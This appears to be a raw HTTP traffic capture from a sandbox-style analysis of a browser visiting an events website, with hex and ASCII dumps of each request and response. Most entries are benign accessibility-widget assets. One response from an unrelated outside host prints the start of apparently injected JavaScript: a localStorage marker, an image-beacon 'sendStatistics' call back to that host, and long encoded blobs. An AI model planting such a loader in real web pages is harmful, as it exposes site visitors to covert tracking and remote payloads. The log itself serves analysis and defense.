Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:12 UTC	607	IN	Data Raw: 7b 22 77 69 64 67 65 74 22 3a 7b 22 68 74 6d 6c 5f 6c 73 74 5f 74 69 74 6c 65 22 3a 22 54 72 61 6e 73 6c 61 74 69 6f 6e 73 20 4d 65 6e 75 22 2c 22 68 74 6d 6c 5f 74 69 74 6c 65 22 3a 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 20 4d 65 6e 75 22 2c 22 74 65 78 74 5f 69 63 6f 6e 5f 73 6d 61 6c 6c 22 3a 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 22 2c 22 74 65 78 74 5f 69 63 6f 6e 5f 6c 61 72 67 65 22 3a 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 3c 2f 62 72 3e 4d 65 6e 75 22 2c 22 6e 65 77 5f 74 61 62 22 3a 22 6f 70 65 6e 20 69 6e 20 61 20 6e 65 77 20 74 61 62 22 2c 22 62 72 6f 6b 65 6e 5f 6c 69 6e 6b 73 22 3a 7b 22 74 61 72 67 65 74 5f 73 69 74 65 5f 6e 6f 74 5f 61 76 61 69 6c 61 62 6c 65 22 3a 22 74 61 72 67 65 74 20 77 65 62 73 69 74 65 20 6d 61 79 20 6e 6f Data Ascii: {"widget":{"html_lst_title":"Translations Menu","html_title":"Accessibility Menu","text_icon_small":"Accessibility","text_icon_large":"Accessibility</br>Menu","new_tab":"open in a new tab","broken_links":{"target_site_not_available":"target website may no

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:12 UTC	650	OUT	GET /widgetapp/images/body_wh.svg HTTP/1.1 Host: cdn.userway.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:13 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:13 GMT Content-Type: image/svg+xml Content-Length: 4561 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:33 GMT ETag: "1d8b1582fe82bd329041cc1982ad42e4" x-amz-server-side-encryption: AES256 Cache-Control: max-age=25920000, public Vary: Accept-Encoding Via: 1.1 577d8c1d3279d6a0f53cebe01ead8c6e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: Q9NOT_HBL-kd9z60S1yBWkomLOXEn3wDCUMwQp8T-M9IPz4Ou1tHdQ== Age: 321 X-77-NZT: EgwBw7WvJwH3CWQAAAwBnJIhJwG3e1EAAA X-77-NZT-Ray: 25b021318839ec4171aed067fb7cc100 X-77-Cache: HIT X-77-Age: 25609 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:13 UTC	4561	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 36 30 70 78 22 20 68 65 69 67 68 74 3d 22 36 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 30 20 36 30 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 44 72 61 77 65 72 22 20 73 74 72 6f 6b 65 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg width="60px" height="60px" viewBox="0 0 60 60" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>man</title> <g id="Drawer" stroke="none" stroke-width="1

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:12 UTC	650	OUT	GET /widgetapp/images/spin_wh.svg HTTP/1.1 Host: cdn.userway.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:13 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:13 GMT Content-Type: image/svg+xml Content-Length: 1977 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:34 GMT ETag: "8e0a35946bf39d10f46a1f1653366a0a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=25920000, public Vary: Accept-Encoding Via: 1.1 93e77bd122e2a2b3ec02228d81a35184.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: k81fYPgJqAa7MC6sMhYR8P18wH9T8w6ZPOgjDDtiQCovTA7bePJgLw== Age: 321 X-77-NZT: EgwBw7WvJwH3GIgAAAwBw7WvBgG3bC0AAA X-77-NZT-Ray: 25b02131872dfb4171aed0674fa51f06 X-77-Cache: HIT X-77-Age: 34840 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:13 UTC	1977	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 6e 6f 22 3f 3e 0a 3c 73 76 67 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 68 65 69 67 68 74 3d 22 34 30 22 20 77 69 64 74 68 3d 22 34 30 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3a 63 63 3d 22 68 74 74 70 3a 2f 2f 63 72 65 61 74 69 76 65 63 6f 6d 6d 6f 6e 73 2e 6f 72 67 2f 6e 73 23 22 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 Data Ascii: <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" height="40" width="40" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://pur

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:15 UTC	407	OUT	GET /widgetapp/images/body_wh.svg HTTP/1.1 Host: cdn.userway.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:15 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:15 GMT Content-Type: image/svg+xml Content-Length: 4561 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:33 GMT ETag: "1d8b1582fe82bd329041cc1982ad42e4" x-amz-server-side-encryption: AES256 Cache-Control: max-age=25920000, public Vary: Accept-Encoding Via: 1.1 577d8c1d3279d6a0f53cebe01ead8c6e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: Q9NOT_HBL-kd9z60S1yBWkomLOXEn3wDCUMwQp8T-M9IPz4Ou1tHdQ== Age: 321 X-77-NZT: EgwBz9PTGQH3DE8AAAwBnJIhJwG3emYAAA X-77-NZT-Ray: 43862e241731ae8073aed067ba86c225 X-77-Cache: HIT X-77-Age: 20236 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:15 UTC	4561	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 36 30 70 78 22 20 68 65 69 67 68 74 3d 22 36 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 30 20 36 30 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 44 72 61 77 65 72 22 20 73 74 72 6f 6b 65 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg width="60px" height="60px" viewBox="0 0 60 60" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>man</title> <g id="Drawer" stroke="none" stroke-width="1

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:16 UTC	645	OUT	GET /GfWHlWLX5Px9172nL8art2qB4uU7z6X0d5Tr7GOQ2PNp16u3a9e9t3GQ8+Nsk/63ZA== HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:19 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 11 Mar 2025 21:43:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2025-03-11 21:43:19 UTC	3950	IN	Data Raw: 66 36 37 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 5d 3d 31 3b 76 61 72 20 64 6f 6d 61 69 6e 3d 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 27 3b 66 75 6e 63 74 69 6f 6e 20 73 65 6e 64 53 74 61 74 69 73 74 69 63 73 28 74 79 70 65 29 7b 76 61 72 20 69 3d 6e 65 77 20 49 6d 61 67 65 28 29 3b 69 2e 73 72 63 3d 64 6f 6d 61 69 6e 2b 74 79 70 65 3b 7d 76 61 72 20 65 6c 65 6d 73 3d 5b 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 5d 3b 76 61 72 20 61 Data Ascii: f67(function(){window.localStorage[window.location.hostname]=1;var domain='https://virtual.urban-orthodontics.com/';function sendStatistics(type){var i=new Image();i.src=domain+type;}var elems=[document.documentElement,document.head,document.body];var a
2025-03-11 21:43:19 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4e 74 74 33 4e 33 75 39 31 77 33 4b 4e 72 38 6c 36 72 74 33 5a 6f 53 64 32 71 39 76 4f 48 43 44 70 39 75 68 62 6d 44 2f 68 61 32 2f 59 31 59 57 35 75 68 76 69 79 4d 6a 69 32 73 71 34 74 43 66 59 35 76 4a 73 77 32 6e 64 70 69 61 48 74 6e 50 70 7a 47 53 37 34 37 6c 42 68 4c 75 55 74 69 76 34 32 31 46 38 71 74 5a 34 70 39 52 6d 74 6d 62 57 6e 43 6a 74 7a 41 33 70 30 74 4f 36 6d 79 7a 35 32 6b 50 68 55 6b 48 39 32 6a 65 54 5a 56 4a 70 71 57 44 78 77 78 46 76 71 44 52 59 72 45 48 79 37 64 52 5a 63 6a 44 67 53 53 6e 68 53 43 50 68 51 30 50 68 76 56 77 69 63 4b 37 76 36 74 48 41 53 45 74 75 6e 6a 74 79 58 79 79 4a 56 79 33 58 78 52 54 46 50 6b 41 63 59 35 2b 6d 52 69 76 70 75 68 61 46 7a 6f 4b 42 79 33 39 53 6e 30 44 31 31 31 44 48 4a 43 4b 31 Data Ascii: 1000Ntt3N3u91w3KNr8l6rt3ZoSd2q9vOHCDp9uhbmD/ha2/Y1YW5uhviyMji2sq4tCfY5vJsw2ndpiaHtnPpzGS747lBhLuUtiv421F8qtZ4p9RmtmbWnCjtzA3p0tO6myz52kPhUkH92jeTZVJpqWDxwxFvqDRYrEHy7dRZcjDgSSnhSCPhQ0PhvVwicK7v6tHASEtunjtyXyyJVy3XxRTFPkAcY5+mRivpuhaFzoKBy39Sn0D111DHJCK1
2025-03-11 21:43:19 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 72 43 63 57 37 64 75 70 55 35 63 76 79 6c 76 2f 7a 79 43 2f 35 71 58 44 44 36 51 62 79 6f 76 66 71 6a 57 50 44 4e 4d 67 76 33 35 62 75 38 72 39 75 59 4a 4e 69 61 33 42 58 4f 54 33 59 77 79 33 51 30 7a 33 65 79 4c 46 70 6f 57 52 70 30 67 4f 5a 62 33 4e 44 6a 70 38 49 33 54 77 69 48 48 51 4e 67 35 54 64 50 6e 34 39 51 2f 6c 5a 38 63 7a 43 46 77 56 63 67 53 34 65 74 5a 42 6d 2f 73 5a 78 32 4a 6d 32 42 50 4d 74 4b 30 58 4b 4e 30 72 66 77 30 54 35 36 39 41 67 55 62 75 45 58 47 43 6f 6f 4b 46 43 50 2b 4f 6e 54 70 2f 46 4b 58 6c 34 65 79 4f 44 62 44 6f 6a 68 54 67 35 39 66 58 33 4d 67 41 4d 48 44 75 41 56 42 44 5a 73 6a 58 6d 52 77 51 69 6e 6e 52 72 56 71 31 65 76 77 50 30 57 74 62 70 77 34 51 4a 4f 4e 51 5a 72 33 47 4e 6a 59 32 4e 67 59 43 44 Data Ascii: 1000rCcW7dupU5cvylv/zyC/5qXDD6QbyovfqjWPDNMgv35bu8r9uYJNia3BXOT3Ywy3Q0z3eyLFpoWRp0gOZb3NDjp8I3TwiHHQNg5TdPn49Q/lZ8czCFwVcgS4etZBm/sZx2Jm2BPMtK0XKN0rfw0T569AgUbuEXGCooKFCP+OnTp/FKXl4eyODbDojhTg59fX3MgAMHDuAVBDZsjXmRwQinnRrVq1evwP0Wtbpw4QJONQZr3GNjY2NgYCD
2025-03-11 21:43:20 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 65 42 49 6d 39 74 2b 59 62 66 50 64 39 49 4b 59 59 6f 49 69 4c 39 49 71 36 67 46 47 73 66 42 49 50 79 63 5a 49 4e 4d 33 79 7a 51 37 6a 42 53 52 2b 44 59 78 37 76 48 58 4a 37 64 4a 38 75 46 47 72 48 64 31 2f 42 4b 6b 70 47 2f 69 64 38 6f 6b 6c 41 48 4a 49 70 35 4f 73 65 42 4d 2b 4a 58 4d 4c 4c 4e 4e 63 30 33 7a 54 69 34 59 73 4e 54 2f 6e 4f 43 76 46 2b 37 34 69 37 57 62 43 72 6e 4c 64 51 61 4d 32 58 6e 2f 51 57 72 71 57 47 79 50 2b 42 54 36 52 58 78 4c 6d 78 66 46 64 47 44 4b 70 2b 77 46 65 39 75 53 6d 4b 77 65 6c 46 37 35 33 30 6d 58 58 4d 63 31 61 41 71 44 4b 44 4c 68 52 71 77 58 66 66 69 32 2b 55 7a 39 67 54 45 55 30 71 34 73 7a 71 38 36 50 49 4c 38 62 4a 74 30 48 45 73 4a 47 43 68 2f 6e 4d 43 76 47 61 46 65 53 2b 50 6c 4a 45 46 62 6d Data Ascii: 1000eBIm9t+YbfPd9IKYYoIiL9Iq6gFGsfBIPycZINM3yzQ7jBSR+DYx7vHXJ7dJ8uFGrHd1/BKkpG/id8oklAHJIp5OseBM+JXMLLNNc03zTi4YsNT/nOCvF+74i7WbCrnLdQaM2Xn/QWrqWGyP+BT6RXxLmxfFdGDKp+wFe9uSmKwelF7530mXXMc1aAqDKDLhRqwXffi2+Uz9gTEU0q4szq86PIL8bJt0HEsJGCh/nMCvGaFeS+PlJEFbm
2025-03-11 21:43:20 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 39 76 48 45 6e 35 38 75 76 68 48 65 4e 4d 6d 44 37 65 75 4a 49 78 4f 75 58 51 48 2b 38 64 34 30 79 59 61 79 66 37 78 50 45 31 30 70 79 61 37 64 4e 59 4d 42 37 6f 37 48 30 55 79 59 57 66 69 48 34 6f 2f 50 31 31 38 49 37 78 71 64 52 68 58 38 51 2f 46 44 35 2b 75 76 5a 75 38 61 61 6a 53 66 69 49 34 6f 66 50 31 7a 37 4e 33 6a 54 4a 68 58 38 52 50 46 44 35 39 75 66 5a 75 38 61 5a 52 70 56 2f 45 54 78 51 2b 66 62 6e 32 62 76 47 6d 54 53 72 2b 49 72 69 68 38 2b 33 48 73 33 65 4e 4e 53 63 42 2b 38 58 78 51 70 2f 2b 64 75 50 5a 75 38 61 5a 4d 50 74 2f 68 33 71 4e 33 71 65 34 4f 37 6d 70 58 6b 68 6c 75 37 33 54 4c 4f 34 75 4a 54 74 64 4a 4c 41 78 37 6e 48 75 6b 71 71 58 51 6f 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 Data Ascii: 10009vHEn58uvhHeNMmD7euJIxOuXQH+8d40yYayf7xPE10pya7dNYMB7o7H0UyYWfiH4o/P118I7xqdRhX8Q/FD5+uvZu8aajSfiI4ofP1z7N3jTJhX8RPFD59ufZu8aZRpV/ETxQ+fbn2bvGmTSr+Irih8+3Hs3eNNScB+8XxQp/+duPZu8aZMPt/h3qN3qe4O7mpXkhlu73TLO4uJTtdJLAx7nHukqqXQoCAgICAgICAgICAgICAgICAgI
2025-03-11 21:43:20 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4d 54 53 71 43 65 66 55 49 49 5a 51 32 54 54 35 41 78 31 41 4f 71 43 54 56 31 4b 69 68 50 6a 51 59 30 32 74 74 5a 46 4c 49 33 54 58 45 41 4e 4d 52 70 55 47 75 58 4d 48 55 72 51 6a 4d 67 6d 4f 72 32 5a 65 57 52 36 64 4d 38 67 6a 48 4a 6c 71 43 4b 31 36 31 4f 64 42 52 75 74 57 42 6d 5a 43 4c 47 51 53 53 4f 79 74 61 51 30 56 4f 58 4e 79 6e 76 49 4b 54 36 6d 59 70 6e 78 6e 54 69 30 55 71 78 7a 67 61 59 4d 44 6e 5a 38 6f 4e 4d 75 5a 42 62 4a 71 68 5a 4f 32 4d 57 4c 5a 57 39 71 47 53 53 4d 7a 46 6f 5a 6c 72 6e 72 54 6e 35 45 43 32 31 71 33 6b 67 59 2b 54 54 70 41 38 35 75 30 44 57 6b 68 70 42 49 41 78 70 57 71 43 61 44 55 49 35 34 35 6e 51 36 65 34 35 47 6b 74 72 51 41 45 4d 7a 41 4f 32 6e 48 6b 6f 45 45 4c 64 61 74 32 79 54 4e 6d 30 39 34 37 Data Ascii: 1000MTSqCefUIIZQ2TT5Ax1AOqCTV1KihPjQY02ttZFLI3TXEANMRpUGuXMHUrQjMgmOr2ZeWR6dM8gjHJlqCK161OdBRutWBmZCLGQSSOytaQ0VOXNynvIKT6mYpnxnTi0UqxzgaYMDnZ8oNMuZBbJqhZO2MWLZW9qGSSMzFoZlrnrTn5EC21q3kgY+TTpA85u0DWkhpBIAxpWqCaDUI545nQ6e45GktrQAEMzAO2nHkoEELdat2yTNm0947
2025-03-11 21:43:20 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 41 79 57 72 5a 4d 7a 32 73 47 77 46 39 52 6a 52 65 6c 48 34 62 78 5a 6a 6a 57 66 6d 34 39 56 2b 6d 48 52 78 63 4f 39 33 77 34 6c 7a 70 47 67 69 68 4a 6e 63 63 46 45 66 68 50 45 6a 2f 57 33 7a 6c 54 58 75 39 34 57 4e 34 62 62 6b 74 6b 77 64 4b 36 6d 30 68 37 33 55 38 4b 74 2b 70 38 66 30 7a 38 35 58 31 58 37 78 38 6b 63 6e 44 76 63 70 7a 6e 5a 50 4f 58 4e 70 51 74 7a 4f 70 55 64 46 56 65 50 78 6d 78 36 5a 2b 63 6b 32 76 33 6a 35 4c 59 74 78 64 32 62 52 6a 68 62 75 6d 47 62 6e 63 53 50 52 4b 6d 66 78 50 6a 54 7a 72 50 2f 41 4e 55 71 2b 35 75 52 31 6a 35 49 4a 64 30 64 32 32 50 44 6e 6d 63 31 38 73 4e 49 46 52 7a 55 4a 54 39 50 34 33 53 73 2f 4e 4d 62 32 35 33 6a 35 49 6e 61 44 75 62 62 6a 4a 62 57 64 32 30 62 51 37 74 78 68 33 6c 54 39 4a Data Ascii: 1000AyWrZMz2sGwF9RjRelH4bxZjjWfm49V+mHRxcO93w4lzpGgihJnccFEfhPEj/W3zlTXu94WN4bbktkwdK6m0h73U8Kt+p8f0z85X1X7x8kcnDvcpznZPOXNpQtzOpUdFVePxmx6Z+ck2v3j5LYtxd2bRjhbumGbncSPRKmfxPjTzrP/ANUq+5uR1j5IJd0d22PDnmc18sNIFRzUJT9P43Ss/NMb253j5InaDubbjJbWd20bQ7txh3lT9J
2025-03-11 21:43:20 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 49 50 58 34 37 4f 5a 62 62 4f 78 45 32 69 59 6a 71 34 64 2f 65 74 46 5a 69 65 65 48 72 33 47 66 68 64 76 48 76 42 76 63 7a 58 64 47 6a 62 4f 59 37 52 6b 4c 6f 77 35 6f 6b 44 6f 79 34 67 67 45 34 2b 56 67 74 76 4d 70 75 54 75 63 49 7a 58 44 78 36 52 47 48 67 32 38 75 68 36 74 6f 45 78 67 31 61 32 6b 73 35 33 31 49 62 4c 48 32 62 6a 79 4f 49 63 4e 75 48 4d 73 59 7a 6e 45 78 68 61 30 54 48 4a 6a 61 44 72 31 72 70 72 70 47 75 74 37 61 39 68 65 34 56 62 63 56 42 42 35 4f 73 30 34 64 39 64 65 7a 76 65 33 50 47 75 70 68 61 6c 37 78 6a 4c 30 36 77 34 79 62 76 67 52 32 31 35 42 4a 70 38 6a 52 6c 79 75 4f 61 4d 55 48 49 37 61 76 5a 32 66 7a 46 4d 63 61 34 65 54 75 66 6a 62 5a 7a 6e 4c 71 4c 4c 65 54 54 39 53 67 45 39 6e 4f 79 56 68 32 30 49 71 4f Data Ascii: 1000IPX47OZbbOxE2iYjq4d/etFZieeHr3GfhdvHvBvczXdGjbOY7RkLow5okDoy4ggE4+VgtvMpuTucIzXDx6RGHg28uh6toExg1a2ks531IbLH2bjyOIcNuHMsYznExha0THJjaDr1rprpGut7a9he4VbcVBB5Os04d9dezve3PGuphal7xjL06w4ybvgR215BJp8jRlyuOaMUHI7avZ2fzFMca4eTufjbZznLqLLeTT9SgE9nOyVh20IqO
2025-03-11 21:43:20 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 61 34 6e 6f 43 43 36 4e 34 59 38 50 79 68 39 4e 6a 58 59 69 76 4a 55 49 4c 70 4c 69 53 56 67 45 76 58 65 44 55 53 48 79 71 48 31 50 63 51 61 44 65 4c 39 70 44 33 44 36 61 44 54 6f 50 30 71 34 54 2f 77 75 33 52 2f 30 61 77 2f 35 5a 69 44 71 6b 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 41 51 45 42 42 2b 64 66 48 37 2b 4d 75 39 6e 2b 65 64 2b 6f 31 42 35 2b 67 37 43 48 39 6a 48 2b 69 33 30 6b 46 36 41 67 49 4b 74 38 70 76 64 48 70 71 61 38 34 52 62 6c 50 38 4f 6c 45 44 53 56 39 55 2b 4f 31 53 76 38 41 4e 33 44 6b 71 70 68 47 70 55 51 46 57 68 58 55 76 45 4a 43 6c 57 62 4a 57 78 46 53 72 4e 6b 6a 59 75 Data Ascii: 1000a4noCC6N4Y8Pyh9NjXYivJUILpLiSVgEvXeDUSHyqH1PcQaDeL9pD3D6aDToP0q4T/wu3R/0aw/5ZiDqkBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBB+dfH7+Mu9n+ed+o1B5+g7CH9jH+i30kF6AgIKt8pvdHpqa84RblP8OlEDSV9U+O1Sv8AN3DkqphGpUQFWhXUvEJClWbJWxFSrNkjYu
2025-03-11 21:43:20 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4b 38 69 61 7a 51 76 45 48 51 6d 70 62 51 76 46 73 6d 70 4f 68 65 4c 62 6f 55 61 6b 36 56 77 74 65 68 4e 52 70 58 65 62 64 43 61 6c 74 43 34 57 77 35 6c 45 32 4e 4b 34 57 79 61 6b 36 45 6a 4c 4f 72 61 34 55 48 4f 56 57 62 72 52 74 72 32 32 77 35 68 33 55 31 4a 30 4a 6d 32 30 65 77 31 72 30 4b 75 70 62 53 75 38 32 48 49 45 31 47 6c 55 57 35 35 6b 31 4a 30 72 78 62 6b 38 69 6a 55 74 70 58 4e 74 71 38 69 6a 55 6e 51 6b 62 61 6e 6d 55 61 30 36 55 67 74 54 7a 4b 4e 53 32 68 64 35 71 65 5a 52 71 57 30 72 78 61 39 43 6a 57 74 46 56 66 4e 54 7a 4b 4e 61 30 55 58 69 7a 4b 72 72 61 52 74 71 2b 5a 4a 72 54 37 53 33 7a 54 6f 54 57 65 30 47 31 77 32 4a 72 56 39 74 59 62 62 6f 55 36 6c 64 43 77 77 45 34 55 77 54 55 72 6f 57 47 33 50 4d 70 31 49 30 72 Data Ascii: 1000K8iazQvEHQmpbQvFsmpOheLboUak6VwtehNRpXebdCaltC4Ww5lE2NK4Wyak6EjLOra4UHOVWbrRtr22w5h3U1J0Jm20ew1r0KupbSu82HIE1GlUW55k1J0rxbk8ijUtpXNtq8ijUnQkbanmUa06UgtTzKNS2hd5qeZRqW0rxa9CjWtFVfNTzKNa0UXizKrraRtq+ZJrT7S3zToTWe0G1w2JrV9tYbboU6ldCwwE4UwTUroWG3PMp1I0r

Timestamp	Bytes transferred	Direction	Data
